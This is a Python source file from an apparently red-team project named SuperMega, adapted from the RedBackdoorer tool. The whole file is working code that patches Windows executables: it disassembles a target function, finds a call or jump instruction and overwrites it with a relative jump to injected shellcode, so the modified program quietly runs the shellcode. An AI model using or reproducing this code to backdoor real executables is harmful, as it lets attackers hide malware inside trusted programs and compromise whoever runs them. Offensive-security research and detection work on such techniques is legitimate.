Files
SuperMega/pe/derbackdoorer.py
2025-06-09 10:10:02 +02:00

110 lines
4.3 KiB
Python

#!/usr/bin/python3
#
# Based on the original RedBackdoorer by Mariusz Banach
#
import random
import pefile
import capstone
import keystone
import logging
from intervaltree import *
from utils import hexdump
from pe.superpe import SuperPe
from model.defs import *
from pe.asmdisasm import assemble_relative_jmp, asm_disasm, cs, ks, printInstr
logger = logging.getLogger("DerBackdoorer")
class DEPTH_OPTIONS(Enum):
LEVEL1 = 1
LEVEL2a = 2
LEVEL2b = 3
class FunctionBackdoorer:
def __init__(self, superpe: SuperPe, depth_option=DEPTH_OPTIONS.LEVEL1):
self.superpe: SuperPe = superpe
self.pe_data = self.superpe.pe.get_memory_mapped_image()
self.depth_option: DEPTH_OPTIONS = depth_option
def backdoor_function(self, function_addr: int, shellcode_addr: int, shellcode_len: int):
logger.debug(" Backdooring exe function at 0x{:X} with jump to carrier at 0x{:X}".format(function_addr, shellcode_addr))
addr = self.find_suitable_instruction_addr(function_addr)
if addr is None:
raise Exception("Couldn't find a suitable instruction to backdoor")
compiled_trampoline = assemble_relative_jmp(addr, shellcode_addr)
logger.debug(" Backdoor Instruction at 0x{:X} (offset to shellcode: 0x{:X})".format(addr, shellcode_addr - addr))
# Check for overlap
it = IntervalTree()
it.addi(addr, addr+len(compiled_trampoline))
if it.overlap(shellcode_addr, shellcode_addr+shellcode_len):
logger.warning("Attempt to patch jump (0x{:X}-0x{:X}) to shellcode (0x{:X}-0x{:X}) but they overlap and probably dont work".format(
addr, addr+len(compiled_trampoline), shellcode_addr, shellcode_addr+shellcode_len
))
logger.warning("Text section too small?")
# write
#logger.debug("Trampoline: {}".format(compiled_trampoline))
#asm_disasm(compiled_trampoline, offset=function_addr)
self.superpe.pe.set_bytes_at_rva(addr, bytes(compiled_trampoline))
# Show Result
#data = self.pe_data[function_addr:addr+len(compiled_trampoline)]
data = self.superpe.pe.get_data(function_addr, addr+len(compiled_trampoline)-function_addr)
asm_disasm(data, offset=function_addr)
def find_suitable_instruction_addr(self, startOffset, length=256):
"""Find a instruction to backdoor. Recursively."""
logger.debug(" find suitable instruction to hijack starting from 0x{:X} len:{} depthopt:{}".format(
startOffset, length, self.depth_option))
if self.depth_option == DEPTH_OPTIONS.LEVEL1:
return self._find_suitable_instruction_addr(startOffset, length, 1)
else:
addr = self._find_suitable_instruction_addr(startOffset, length, 2)
logger.debug("Using code at 0x{:X} to find instruction".format(addr))
if self.depth_option == DEPTH_OPTIONS.LEVEL2a:
return self._find_suitable_instruction_addr(addr, length, 2)
elif self.depth_option == DEPTH_OPTIONS.LEVEL2b:
return self._find_suitable_instruction_addr(addr, length, 3)
return None
def _find_suitable_instruction_addr(self, startOffset, length, option):
# iterate through every instruction. starting from startOffset
data = self.pe_data[startOffset:startOffset + length]
for instr in cs.disasm(data, startOffset):
printInstr(instr, 0)
if instr.mnemonic.lower() in ['ret']:
return None
if len(instr.operands) != 1:
continue
operand = instr.operands[0]
if operand.type != capstone.CS_OP_IMM:
# find a call/jmp instruction with an immediate operand
continue
jump_instructions = ['call', 'jmp', 'je', 'jz', 'jne', 'jnz', 'ja', 'jb', 'jae', 'jbe', 'jg', 'jl', 'jge', 'jle']
if not instr.mnemonic.lower() in jump_instructions:
continue
if option == 1: # addr
return instr.address
elif option == 2: # dest taken
return operand.value.imm
elif option == 3: # dest not taken
return instr.address + instr.size
return None